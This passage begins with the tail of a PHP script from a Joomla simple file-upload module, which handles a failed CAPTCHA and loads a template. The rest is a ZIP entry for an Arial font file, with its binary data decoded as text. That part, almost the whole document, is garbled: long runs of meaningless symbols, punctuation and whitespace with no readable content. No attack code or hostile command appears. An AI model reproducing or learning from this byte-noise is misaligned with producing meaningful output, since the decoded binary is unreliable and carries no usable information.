    Failed on CAPTCHA [".$_SESSION["capString$mid"]."=".$_POST["txtsfucaptcha$mid"]."]."; $_SESSION["uploaderr$mid"] = 1; $results = JText::_('FAULTY_CAPTCHA'); } } // include the template for display require(JModuleHelper::getLayoutPath('mod_simplefileuploadv'.$sfu_version)); ?> PKYy>\JL L 'mod_simplefileuploadv1.3/tmpl/arial.ttfnuW+ADSIGPp GDEFI GPOSj "GSUBB`Q JSTFm*i LTSHCLc7 [OS/22]s`PCLT{>C 6VDMXPjE cmap!\"Ncvt TfpgmyYngasp glyfYk/Vhdmx XV@head_O6hhea3 $hmtxUh5\kern7a96 6`loca705`maxp name( LH post W,prep%M \8_<'*śbWg >NCz W W</V33f *xC TMC @ Q3>@& 999^ssIwVXZ||@r9A99sUss<sVssUsMsasSsU99prpsZoVVfV9m97Vs9cV9XV\0V V V)999'6sYsJsPsFsK9sBsssDssH?9$s!(9/WVVhV9csJsJsJsJsJsJPsKsKsKsK99#99 ssDsDsDsDsDsssssI3skssQmL=dN9SdNdMdMs8zd1/-%DrdTs.d3ssVV9cRsSGldN/!VV9s\\sI9lG%VVVVV99999c9c9c9.k:K(sV\?)(sIV!Vsrk!kk!s9msB9V\?fPfPsFkVsJVsJGVsKVsKsBsUsss9csD<V\?09$0#ss)()(h9`bUHtHbD).0HkR3OOOjrq"~~~~~~f0 0 *+kUo@:@7?@%UapVsJfPfPVsKVsKVsK9msB9msB9msBss9999999K7Vsss9csD9csDkV\?09 ssssV!VsJD9S9V!sZk""JkWF2xVVXV)9VX 3m9cV0VV a9VHbsk`Hss\\sDV`3z?W`sH`?WW2UdV\997u 1 V@VUkVcN@9cVf0 RV UWUU@UsJ[@sKZ2xxksDUsP&!K+Ek(+0UsKsK?9 @s!kJA-11~~!}3 9iV21-_(P<P<Z<n_s f(d$(ZVZ((WWH-ddddiiiV21-KJK(P<P<Zn_s f(d$(V2P_s<%QCMyFFFFHFFF5|5.555,5555555B6555F::656==JJv'v'2$0FF@FQ sJ]MyVu2u2-2$::B::::656==656==656==____JJJJ>>??>>??>>>>Z*65'Z*65'O'O'$FF$--'' G G##''5E5EB6'u2u22$2$Z@IZ&9ZSJZSJFFFFHFFFFF@0FFc?D[/Ts) grksSrj}_vlX,VsJVsJVsJVsJVsJVsJVsJVsJVsJVsJVsJVsJVsKVsKVsKVsKVsKVsKVsKVsK9c9|9csD9csD9csD9csD9csD9csD9csDc?Dc?Dc?Dc?Dc?Dss[[[[[V!V!V!VsJ99csDsssssU cZkssV UW+EUscsU9`sD:$Fk'VVu2u2u2u22$::::::::::::::656==656==656==656==656==656==22____22______88IIJJJJJJJJJJJJJJJJ>>??>>??>>??>>>>Z*65'O'O'O'$O'O'$O'O'$O'O'$O'O'$FFFF >2 >2@@v'--''--''--''v'v'v'v'v' G G G G G G G G5E5E5E5E5E5E5E5E5E5E656==B6u2u2u2u2u2u2u2u2u2u2u2u2u2u2u2u22$u2u22$2$EEEE()0~22d~2XXd>>??>>Z*65'My#B6/;mvZZSJZSJZSJZSJZSJZSJ5q5Zs@s@ s QfPz@JsFtHVnS9m 9V s9`cWD sVVkO D9$9$0a.!)()1\D\?s<sU2$sNr9 dF +sUVsJVsJD9ms9msBV9csD9csD)\L dF9msBFsVsJVsJVsKVsK99d999csD9csDhsvsV\?09$\Q~s^^)(VsJVsK9csD9csD9csD9csDV!sWsHssPsFsFsUUI2 2D9sBsBxPsssWDnsslsDSD?WfDUU?r99$sT`((T(\L\y$P$P9c@IxPk.;sH$PF@F F$o$$J8cddFddZ^l22ppee!Y!Y99Bd22bb(GWWWWWCWCWCWCWCCW/W/W/W/W//W%W%W%W%W%/WWWWWWBWBWBWBWBBWWWWWBWBWBWBWBBW/W/W/W/W//W/W/W/W/W//W&W&W&W&W&&WBWBWBWBWBBWWWWWBWBWBWBWBBW&W&W&W&W&&W#W#W#W#W##W/W/W/W/W//WKWKWKWKWKKWWWWWBWBWBWBWBBWWWWWW$W$W$W$W$$W/W/W/W/W//WNWNWNWNWNNWWWWLfBBD_QQQL*VD#fDRSSSBQYp`..{L?WD9csDpP;<2 B ecsd VkVk_nDG(D[P9`MPVsKx m9X.x{zmf_9H9`sDm  m  c,D  mP7 mfP+Lx@+Vs]dN2)I( / >+#fP0&g1&UW+E T  T 9cZWh@kkUW+E.VsJVsJDVsKcsUcZN2N\Lxx9csD9`sDJ+ ! ! !UW+E@JsFJFfSMfSGF9mxP0S&CwGVtRVj|iVVCi|X VsJVsVsVsfPsFsFsFsFsFVsKVsKVsKVsKVsK99msBsssshs99 9VVVs~sssssss9csD9csD9csD9csDVsVs^&V\?V\?V\?V\?V\?09$09$0909sssssV V V V V!)()()(s9!sJHHHHHHHHVVVVbbbbbbllllsssssssssDsDsDsDsDsD--````````?W?W?W?W?W?W?W?W__HHbbsshsDsD``?W?WHHHHHHHHVVVVssssssss?W?W?W?W?W?W?W?W__HHHHHHHVVVVVsssss99ee``````VVY?W?W?W?W?We'_as ff$ PV0)0fSSSS+VtFz  Y:9..:s#rrSSSVsD@Pii2aA6xsDDD PDsDsD+UU&`DDD(2k?U+zOQ2Q2H2H22n2Vi-f222q2o222Y22v1o22222d222222Bdddd2222d2dB2d d22Bdddd 22F fFFA<Z 5O__JJ''i=-P<?(P(r;ffsSX GUs9fDFHVfs 0O(B:S QfQUC7P:[_~J::::::::::::::656==656==22__JJ>>??Z*65'Z*65'Z*65'O'O'$O'O'$v'v'v'##''##''5E5E5E5E5E5E G GJJJJ>>??ssF9ss9(s dtHI$s` ssF9Bss?(sJsHsFsKI24Us\Ld232222dBBdBdB*BdB 3ddddd222B22dd22222s922229mVsfAHHHHHHHH````````````ZSJV)X VsK3csHV!PUV V SI@__rs Ls sVs9sV)(;g0HSH9XsHc L9rZZ999 W% >u&5#'eS79]9q7$5S+7Ƥc  ) R M_c  S>+. . -%&%&.. ' '9%.7.7$..+.7.7cc0 -&&22222+11%&. . ' ' 'SS.7.7>>>>9]9.7$$.+.7.7.7.79%& ) %% .>u..M'> &)))$1$$$)(*)$)* % >>17 1%$%  u..11M+%11.&1$&'( 77 77$75 11,1$*1%'7&1+9$$7 71    ,    , ,,, # # ,,,,,,,,,))))++++22222222##22,,,,####9%&%&%&%&%&%&%&%&%&%&%&%& ' ' ' ' ' ' ' '>>9$$$$$$$77ĖĖ%&>9$77777%&.7,2,,,,,,(,,,,,,,,,,,,,,))))))))))))))))))++++++22#2222 # # # # # #,,,,,,,, 2++#,(,,,,, ########$...-./. ' *.%&%&S]S.7%&%& ' '>>$$...7.7+ .7%&$$$$ S%%. $7)% #000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 . (1  '7 2++).-+. >(..%&%& '(  7 7$11111#%&555. .#.#.#.#.# ' ' ' 'eS.7.7.7.7.7>9>]]]9999uuu.7.7.7.7$$$$55....+++++.7.7.7.7.7ƅMMՕccc7&9 %%&&&&&&))))))))""""""$$$$$$))))))))******** &&))$$))** %%))))))))""""""******** %%%%%))))).>>))))$$)))*****... "  (( 7$ %%)  Ƥc&77 1,+*221222*1+1+*+1+$*#))......%&,,,,,,,,,,,,,,))))++### # # #,,,,,,++/-22**+2. ))))))))))))#.). 9%&..9.S,     !" # $!%"&"'#($)&*&+',(-(.*/+0-1-2.3/405061738494:5;5<6=7>8?9@:A;B<C<D=E>F?G@HAIBJBKCLDMFNFOGPHQIRISJTKUMVMWNXOYPZP[Q\S]T^T_U`VaWbWcYdZe[f\g\h]i^j`k`lambncocpdqergsgthuivjwjxkymzn{n|o}p~qqstuvvwxyz{|}}~   !" # $!%"&"'#($)&*&+',(-(.*/+0-1-2.3/405061738494:5;5<6=7>8?9@:A;B<C<D=E>F?G@HAIBJBKCLDMFNFOGPHQIRISJTKUMVMWNXOYPZP[Q\S]T^T_U`VaWbWcYdZe[f\g\h]i^j`k`lambncocpdqergsgthuivjwjxkymzn{n|o}p~qrstuvvwxyz{|}}~   !" # $!%"&"'#($)&*&+',(-(.*/+0-1-2.3/405061738494:5;5<6=7>8?9@:A;B<C<D=E>F?G@HAIBJBKCLDMFNFOGPHQIRISJTKUMVMWNXOYPZP[Q\S]T^T_U`VaWbWcYdZe[f\g\h]i^j`k`lambncocpdqergsgthuivjwjxkymzn{n|o}p~qrstuvvwxyz{|}}~ \                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "                                                                                                                                                           "                                                                                                                                                                                                                                                                                             &                                                                                                                                                                  &                                                                                                                                                                                                                                                                                                    *                                                                                                                                                                    *                                                                                                                                                                                                                                                                                                                                                 0                                                                                                                                                0                                                                                                                                                                                                                                                                                                                            6                                                                                           6                           $! !$!                                          $  $                                                 #  !                                 :                                                                                          :             ""           !          '# #'#                                             ' #'  !                         "                         &   #                               @                                        #    !"                  "      "                     ####          @       ####      %%          $# ##        +'""' +'"!                                         +""&+$   !                !!          %                    *    '                                 !  !B    " "          ! !  !!!                 $!!! !!!!!"#       "! """      #!!   !#               !   $$$$         !B       $$$$      &&          %$ $$         ,(##(!,(#"            !                              ,##',&  !   "           "" """""" ""  ! !!""""""!!      &!                 +    (!!                              ""  %J !   & &         % % ! %%#%    %           (%%%$%%%%%&'" !       &%! &&&      '% ""#!% "%(              ##%      ))))      %J               "          ))))     ++""######     *()) # ! !     1-''-#%!1-'&         $"%        #! 2#!' (!, 2!* "   " %!"!$ #$"&!           && """"&&&&&&&&$$$%$%%####&&&&&&%%####      ! "! +#%   !#            0   -%%  "!!           ###                    # &&  *T %   +! #!!*    $  ! **!#  %*!*(*  + !!!    ###!   ! !".***)*****+,'  %!!!   !! * *%! *** ####!#!#  #!#   ! !$ ,*$'#! ''!%*#"#  &"*-     %           "'"' *       ####..$$..$$!!      *T$$##  !!!!!!!$$$$$$$$$$ !' !          ######..$$..$$!!! !! !! !! !! 11&&"'"'"'"'"'"'         """" /.##..$$ "'  "!%  %!$     83,-#3( *%!!!! 83,!+ !! !!!!   ###!!  !)&*      ( !! %# !8!(&#,$!!""-&#2$8%0% '$$ '#*% '!!%)%(")&+%! !     #$#$#$!!!!    **  """""" ''''""++++++ ##++))"(*(!!!!!!!!!!**(((( !!""""""""++++++!!!!!!!!!!**((((""$$ $% !!!!!'#&!#1(*  % (    7 " ! !3**  #&%%        ##!! !! "'"'"'    ## # !   #       !    (   !*,#  .\# )    /!!$! %!$$!!.   & ! !!$! ""..$!!&#).$.+.  . $$$!!!    !&&&$ !!!!  !!$!! !!$%2...-!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"...../0*###" )!!$$$!!   !!$$! !!!!.! .)$ .!.!.! &&&&$'$&# ! %!$!&"   !$ $(! 1.'!*!!%!$!!#"*+$)!.! &%&!# *%.1       %       ## #################!! ####%+%+#################.#############################   !! !! !! &&&&33''33''$$     #########################################################################################.\''&&  $$$$$$$'''''!!''''' $!!!!!*!#$!   !! !! !! !! !! !! !! &&&&&&33''33''$$$ $$ $$ $$ $$ 55**%+%+%+%+%+%+         %%%% 42 &&33''  %+ #!!!%$)  )!$(#  "!$ =801&8+#.)$$$$ =80$0! $$!!!! ! $$$$"   &&&$$  !$,*.!!#    $,$$$!#)&" $!>$,!) & 0(% $%%1)&7'>!!"(4(#!+ (( *!!& .)#*!!$$!)!-(,&-*0($"!!!!!!$!!!!!     %&%&%&!!!!$$$$!!!!    !!!!!.!.! ! %%%%%%##++++&&////// &&//--%,.,$$$$$$$$%%..++++ $$%%%%%%&&//////$$$$$$$$%%..++++%%((! ()#$$$$$+&)%"!!&!6+.   ")  +"!!  "<#& !""$ $8..  "!& *))!!!! !! !! !! !! !! !! !! &&$$ $$ %+%+%+    && & $  ! &       $!  ! "! + ! ! !!!$.! "0'   2d&,! 3!!$$!'$!)$'!'$!$!2!!  (# !!$!$'$%%22'$$)&,2!!'2/2 ! 2!!!!!'''$$$ ! $!!***'!$$!!$$!! $$'$$!$$'( 62221$##############################################$2111135.&&!&% ,!$$!!!'''$$  ! $$''$!$$$$2#! !2,' 2#2#2#! ****!'*'*& !!!!$!!)$!'$!!!*%!  $' '!+$!53+ $!!!"!.$$!)$'$!$ &!%!./(,!$3$!")()$&  -)26#    #  * #####  &&&&&&&&&&&&&&&& &&&$$ &&&&)/)/ &&&&&&&&&&&&&&&&&2&&&&&&&&&&&&&&&&&&&&&&&&&&&&&   $$ $$ $$ ))))77**77**''       &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&2d+!+!** !!!!!!!!!!!!!!!!!!!!  '''''''+!+!+!+!+!$$+!+!+!+!+!!!!! '$$$$$.!$!!!&'$    $$ $$ $$ $$ $$ $$ $$ ))))))77**77**''' '' '' '' '' ::--)/)/)/)/)/)/           )))) 86 ))77**  )/ &!!$$$(!!', ! -$'+!&!!%$' C=45*=/'!!2,''!'' C=4'4$!!!!''$$$$! $#!!''''!%   ***(' $'0-2$$&!    '0'''$&-*""!!% '!$C'/$!-#)"5+("'( ( 6-*<+C$$!!"%, 9,&$.#!+!+!.!!!$$!*"!!2,!&.!$$''$   !,$!0,0)!1-4,'%!!!!!$$$$$$!!!!!'$$$$$ !!!    )()()($$$$''''!!$$$$!!!!!$$$$$!!2#2#!!!# !!))))))&&....))333333 ))3311)020''''''''((22//// ''!!))))))))333333''''''''((22////!!!!!))++$ !!+,&'''''.)-(%$$*$:/!2 !""""!%, "/%#$!  %A&)! #!%%!' (=22  %$*"-,,!$$$$ $$ $$ $$ $$ $$ $$ $$ ))'' '' )/)/)/    ))*' $ *!    '!$  !$!! %$! !!!/ !$$! $$$'2##%4* 6l)0$   7$$''$!*'$-'*$*'$!'$6##!  -' $$'$'*'!((66*'',)0!! "6$$*636 #  5$$$$$***''' $!'#$ ---*$''$$'!'$$ ''*''$!!''!!*+!#;6665' ! !!&"&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&'!65555!!!791))# )(! 0!!$''$$$***''  $ ''**'$!''''6'# $60*!6'6'6'#  ----$*-*,) $$$$!'$$-'#*'$!!##-(#  '* *$/'$97-"'$#$%$2!''#-'*'$'!")#($13+0#'7' $%,+,"')  1,6:% !   &# * &&&&!  &#  ))))))))))))))))")))'' )))),2,2" )))))))))))))))))6)))))))))))))))))))))))))))))!  " '' '' '' ,,,,;;..;;..++   " "     )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))6l.#.$-- $$$$$$$$$$$$$$$$$$$$  *******.#.#.#.#.#''.$.$.$.$.$###$ *'''''2$'$$$)*'   " '' '' '' '' '' '' '' ,,,,,,;;..;;..+++++++++++>>11,2   ,2,2,2,2,2      " " " " ,,,, =;  ,,;;..  ,2         )##''',#$!!*"0 $ 0'*/$)$$!!!('*!!! HB99-B3*$$60**$**! HB9*8!'$$$$**''''$!'&!!$$****#("!  ---+*  '*416&')$"    *4** *'!")0-$$$$! (  *$'H"*!3'$0&-%9/!+%*+"+":0-!@.H"''#$$!(/#=/)'!2%$/$/$2$$# ''$-%$$60$)2$!!''**'"""$0'#4/4,$418/*($$$$$''''''$$$$$!*''''' $$$    ------''''****$$''''$$$$$!!!!'''''$$6'6'###!!!' $$,,,,,,))2222,,777777 --7755,464********++663333 **$$,,,,,,,,777777********++663333$$$$$,,//' ##/0)*****2-0+(''-'?3$!6 $%%%%$(0 %!!!3 ( '!'$ "   (F),# &#(!!(#+  +B66  ('-%100$'!''''' '' '' '' '' '' '' ,,++++,2,2,2    ,,-* ' -#    *$'   $'$$ ('$ $$!# 3 $''$!# '''*6'&( 8- :t, 4' " """ ;''**'#-*' /*-'-*'$*':%&#     1  )"''*'*-*    #++: :-) !)0 -4##" $ :''-:7 : &   9'''''---*** '#* &' ""000 - '** ' ' *$*' '  * * - **'$$* * ## -." $& ?:::9*"#"##)$)))))))))))))))))))))))))))))))))))))))))))))*#:9999###;=5,,&",+# 3##' **' ' ' - - - * *   ' * * - - *'#* * * * :)& ' :4-#:):):)&  #0000'-1-0, ''''#*''/*&-*'$$&%0+&" ! ! ! )- -'2*'=;2"%*'&'''6#**"&/*-*'*$%,%+'56.3&*;* !" ' "(  0!/0$*,   5/  :>(!##"##!!  (%.((((!!!#"#!!  (% ! ,,,,,,,,,,,,,,,,%,,,)),,,,!/6/6%",,,,,,,,,,,,,,,,, :,,,,,,,,,,,,,,,,,,,,,,,,,,,,,$  %" ))))))!!!0000@@11@@11""""""""  ..""## %"%" # # # #,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:t2&2'00 ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '   - - - - - - - 2&2&2&2&2&* * 2'2'2'2'2'&&&'  - * * * * * 6'""*  ''' , - )" %"))))))))))))))!!!!!!000000@@11@@11"" ...........""""CC55/6######/6/6/6/6/6    !%"%"%"%"//// A? #00@@11 /6 # # # # # # # # ,& & ***/& '##-$3 ' 4* -2', ''$##+*-###  "MG=>0G7- ' ' :4- - '- - # MG=- <$* ' ' ' ' - - *** * '$ * )#!#' ' - - - - &  +% $  !000 .-    ! * -  85:)*,&%   """" ! -8- -#- *#$,!40' '''##+ #! -'* N$-$7)'4(0(=2#.(- /%/%>40$E1N$** &' ' #"+3&B2,*#6('2'2'6'' &"* * '0(' ' :4' , 6'## * * - - *%%%'3*& 837/&85<3- +'' ' ' ' ** * * * * ' ' ' ' ' #- * * * * *  ''' /1/1/1* * * * - - - - ' ' ****'''''$$$$* * * * * '':):)%%&### ) """"""""''//////,,6666 00;;;;;; !!!!!! 00;;88 /8;8--------..::7777"" --""""""""''////// 00;;;;;;--------..::7777"""""""''''' //22*  !! &&23,-----604.+ **0*D7'#:" '((((' +4  ( ###7  #+#)#)"& $# ! ! +K,/& )&+##+&."  .G::  +*0(533'* #"!***))))))))))))))!!00   ..../6/6/6 00 0   . ! ) 0  &     !! -' *"""""""" #'*''  + *' ''#&"7 '* * '#!& ***- :))*#<1 C2%%<- '%%%%%%%%%%'''%D--00-)40"-%704-40-)0-B+-)%%%"%%%%"9%%%%"%!/ !!'--0-040%%%%%%"%%%%%%%%%%%%%%%%%%$)11C%C40%%%%'!07%3<))'%%%)%%C--4C?%C%!!- %""%C-----444000%-")!0%-!-%''888%4%-"0"0"%%-%-%0)0-%-%%%%0%0%4%00-"))0%0%)!)!%45'%)+%"IC"C"C""B0'('((/*/////////////////////////////////////////////1(CBBBB(((DG=22$,(""21( ;((-%0"0"-%-%-%4%4%4%0%0%"-""%0%0%4%4%0-")0%0%0%0%B/-!-%C<4)B/B/B/-!%(8888-58482----)0--70,40-))-+82-'%%'"%%""'!%& %#04%%%4-:$0-"GD9'+0-,-$-->(00',7040-0)+3+2-=?5;,0D0%&$'%-%%'.%%$%"!7 C*0#"2$%%""=6%!%!CH.&$"((("((&#&% %"/+"""7""$////&&&$"(("(&&% %"/+$%'############222###2222222222222+222002222&#$$!!6>"6>"+'22222222222222222%C22222222222222222222222222222)+'000000&#$$&#$$&#$$!!!!77$$77$$JJ99JJ99''''''''$#$#55''((""##+'+'$($($($(22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222C9,9-"88-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%4%4%4%4%4%4%4%9,9,9,9,9,0%0%9-9-9-9-9--!-!-!-%4%0%0%0%0%0%$>-''0%%"%"-"-#-%2%4%0'+'00000000000000&#$$&#$$&#$$&#$$&#$$&#$$!!!!!!!!!!!!!!!!77$$77$$77$$JJ99JJ99''$#55555555555''''MM==6>"((((((6>"6>"6>"6>"6>"""""""""##########&#$$+'+'+'+'6666KI (77$$JJ99$#6>"$($($($($($($(##$(%3,%,%00"06,%%-()4*;-""<0%4:-3%--")))204")"))%%%%!%'YRFG8R?4%-%-%C<4%4%-"4%4%)%YRF4%E)0%-%-%-%-%4%4%000%0%-")%0%/)&)"-%-%4%4%4%4%-!%%%%""%%%2*"%%%")%%%&888%%%%54%$$"%&%"0"#"$%%""""4$"%%"%""A=C003,*!#   '''' $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'%4@4&4(4%0")*#3'<8-%-"--)(1%(&"4-0%%Z*4)@0-".-#:-:->--%,'0%0%-#8.-%-%C<-%2%>-((%0%0%4%4%0"+!+!+!-#;0,%A;@7,"A=E;4%2--%-%-%-%0"0%0%0%0%0%-%-%-%-%-%)4%0%0%0%0%0%-"-"-"%%%%7979790%0%0%0%4%4%4%4%-%-%0000-"-"-"-"-"))))0%0%0%0%0%-!-!B/B/+ + -!)!)!)!%/!%''''''''--77777733>>>>%%%%%%%%77DDDDDD&&&&&&%%%%%%77DDAA%%%%%%%%7@D@4444444455BB????''%%%%%%44''''''''--777777%%%%%%%%77DDDDDD4444444455BB????'''''''-----%%%%%77::0%%%%&&%%--:;344444>7<52%0080N?-)C"(#-....-%!2<$"%%!".%%")))?%%#$$%(1(!/!)"$#0',! ""*( && 2W37,$!!0,2))2,5'%5R"C"C % 108.=;;-0"%)""'&000$00000000000000&#$$&#$$!!77$$$#$#$#55556>"6>"6>"######""!!!!77$$%%8%%""%%5%%&%%0"8%%""""%%%%,"%%  && 4-%0''''''''%%%%%%%%%%%%$(-0--%"1%0-""""$-"-"(,'?!"%%-0%0%-")""'+0004%B//1(E8 ""K8**C2,**********,,,*L22662.:6&2*=6:2:62-62K11."***&****&?****&*%5$%%,22626:6******&******************(.77K)K:5)))*+%5>):C..,)*).**K22:KG*K)%%1 *&&*L22222:::666*2&.%6*1%2*,,???*:*2&6&6&*)2*2*6.62*2****6*6*:*662&--6*6*.%.%):<+*!.1)&RK&K&K&&I6,-,--5/5555555555555555555555555555555555555555555557-KJJJJ---MOE88(1-&&87!-B--2*6&6&2*2*2*:*:*:*6*6*&2&&*6*6*:*:*62&.6*6*6*6*K51%2*KC:.K5K5K51%*-????2;?:>82222.622=61:62.-11?81+!*)+&!**&&+%"*+$)'5;)*);2A)62&OL@,06212)32E-66,1=6:626-09172EF;B16L6*+(,*2"**!,4)*)*&"%>$+'<>/6'&8)**&&D=*!%)%KP4*)&--,&##--+(*)#$)&40%%%<&&##(4444***)&-,&##-+*)$)&40)#)+''''''''''''888'''88888888888880888668888*'((%%=F'=F'0,88888888888888888*K88888888888888888888888888888. 0,666666*'((*'((*'((%%%%>>((>>((RR??RR??,,,,,,,,)"')"';;,,--&&''" 0,0,)-)-)-)-88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888 K@1@2&??2*2*2*2*2*2*2*2*2*2*2*2*2*2*2*2*2*2*2*2*:*:*:*:*:*:*:*@1@1@1@1@16*6*@2@2@2@2@21%1%1%2*:*6*6*6*6*6*)E2,!,!6)*&*&2&2'2*8*:*6, 0,66666666666666*'((*'((*'((*'((*'((*'((%%%%%%%%%%%%%%%%>>((>>((>>((RR??RR??,,)"';;;;;;;;;;;,,,,WWDD=F'------=F'=F'=F'=F'=F'&&&&&&&&''''''''''*'(( 0,0, 0,0,====TQ->>((RR??)"'=F%)-)-)-)-)-)-)-'')-*91*1*66&6=1**2-.:/B2&&C6*:A29*22&...86:&.&..))**"%*,d\OP>"\G:*2*2*KC:*:*2&:*:*.)d\O:*N.6*2*2*2*2*:*:*666*6*2&-)!6*5-*.&2*2*:*:*:*:*1%****&&***7""/&***&.***+>>>**)*;;)))&*+)&6&'&)))&&&&:(&*)&*&&HDK5 692/$( $,,,, ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))+):H:*;-:*6&./(9+C>3*3&22.-7*#-+&:!!26**d/:.G62&C4>3OA-"<4:*.Y@d/6&&6*1'2*2)-",!8(B1UA8'6&."E42'A2A2E22)1,6)6)2'>42*2*KC2*8*E2-"-)6*6*:*:*6&0%0%0%2'B61*IBH=2&IDNB:*822*2*2*2*6&6*6*6*6*6*2*2*2*2*2*.:*6*6*6*6*6*2&2&2&****=?=?=?6*6*6*6*:*:*:*:*2*2*66662&2&2&2&2&----6*6*6*6*6*2%2%K5K51$1$1%.%.%.%*5%*++++++++22======!!!!!!99FFFF********==LLLLLL++++++******>>MMII))))))))=HLH;;;;;;;;<C<8*66>6WG2.K&-'233442*%8C(&))%" &4**&...G"**'))")-7-%5%" .&)'5,"2"%  & &" /- ++! !8a9=1)%%""518..81;,*;\&K&K *76>4DCC26&*.&&,+666)66666666666666*'((*'((%%>>(()"')"')"';;;;=F'=F'=F'''''''&&%%%%>>((**>**&&**;*)+**5&>**&&&&****""1&*)  ++ :2*6++++++++)))))))))))))-"2622*&7*62&&&&)2&2&-"1,G%&**26*6*2&.&&+ 1666:*K557-N?!&&S>..J7 0..........000.T77<<73A<*7.E>,61**>=%2I227.<*<*7.7.7.A.A.A.<.<.*7+*.<.<.A.A.<7*3<.<.<.<.S;6'7.SJA3S;S;S;6'.2EEEE7AF @D>77773<77E<6A<73468E>60%.-0*%..**0)%./(-,;A-.-A7H-<7*XTG05<767-87M2<<06E-..**KC.$'.)"SY9 /-!*2 21*&&220,/-&(.*:5)))#C**&&,::::///-!*2"1*&&20/-(.*:5-&-0",,,,,,,,,,,,>>>,,,>>>>>>>>>>>>>5>>>;;>>>>/,,,))CM!+CM!+51>>>>>>>>>>>>>>>>>.S>>>>>>>>>>>>>>>>>>>>>>>>>>>>>3"$$51;;;;;;/,,,/,,,/,,,))))DD,,DD,,[[FF[[FF00000000-%,!-%,!AA0022!!**!!,,%!$$5151-2-2-2-2>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> SG6G8+EE7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.A.A.A.A.A.A.A.G6G6G6G6G6<.<.G8G8G8G8G86'6'6'7.A.<.<.<.<.<.-M80$0$<..*.*7*7+7.>.A.;0$$$$51;;;;;;;;;;;;;;/,,,/,,,/,,,/,,,/,,,/,,,))))))))))))))))DD,,DD,,DD,,[[FF[[FF00-%,!AAAAAAAAAAA0000``KKCM!+22!!22!!22!!CM!+CM!+CM!+CM!+CM!+********,,,,,,,,,,/,,, $$$$$$$$$$$$$$$$5151$$5151CCCC]Z2DD,,[[FF-%,!"CM)-2-2-2-2-2-2-2,,-2.?6.6.<<*<@*3*33--..&(."0oeWXE%eN@.7.7.SJA.A.7+A.A.3-oeWA.V3<.7.7.7.7.A.A.<<<.<.7*4-$<.;2/3*7.7.A.A.A.A.6'....**...=&&4*...*3.../EEE....BA.--*./-*<*+*---****A,*..!*".**PKS;$,I6^H?+<*3&M97+G7G7M87.60<.<.7+E97.7.SJ7.>.M82&2-<.<.A.A.<*5'5'5'7+I<6.PIOD7*QLVIA.>77.7.7.7.<*<.<.<.<.<.7.7.7.7.7.3A.<.<.<.<.<.7+7+7+....EGEGEG<.<.<.<.A.A.A.A.7.7.<<<<7*7*7*7*7*4444<.<.<.<.<.7)7)S;S;8*8*6'3(3(3(.;'.0000000077DDDDDD%%%%%%??MMMM........DDTTTTTT//////......EEUUQQ--------DPTPAAAAAAAABBRRNNNN00%%....--AA0000000077DDDDDD........DDTTTTTTAAAAAAAABBRRNNNN000000077777.....DDHH<##----//--66HJ?AAAAAMEJB>.<J,*..)&#*!9..*333N&..+--&-2=2);(*-+;0&7""%"")$#*$$* #%$$42 0  "0 %   %=l?D7-))%!%!;6>23>6B0.Be*S*S.==8)333.3343/M3334.3-A---6==B=BHB333333.333333333333333%333 18DD\3\HB33335-BL3""GR886233933\==H\W3\3--=3..3]=====HHHBBB3=.8-B3=-=366MMM3H4=.B.B.33=3=3B9B=3=3333B3B3H3BB=.99#B3B38-8-3HI53)9$<3."d\.\.\..ZB68688A:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC8\[[[[888^aTEE1<7/.ED)8!Q8!!8!=3B.B.=3=3=3H4H4H3B3B3.=/.3B3C3H3H3B=.8B3B3B3B3[A=-=3\RH8[A[A[A=-37MMMM=HM#GME====8B==KBME=5)325.)33..5-)34,20BH232H=P2B=.a]O6:B=<=2>=U8BB6D=TVIQ*33(6?3323.*-L-50JL:B0/E233"/.SK3(-3-&\c?#42%/7#76/*+77 5142*,3/@;...&L//++1@@@@4442%/7&6/*+7 542,3/@;2*25!&000000000000EEE000EEEEEEEEEEEEE;EEEBBEEEE4011--KV$/KV$/;6#EEEEEEEEEEEEEEEEE3\EEEEEEEEEEEEEEEEEEEEEEEEEEEEE9&((;6BB#BBBB401140114011----LL11LL11eeNNeeNN666666662)0$2)0$II6677$$//$$00#)$((;6;627272727EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE 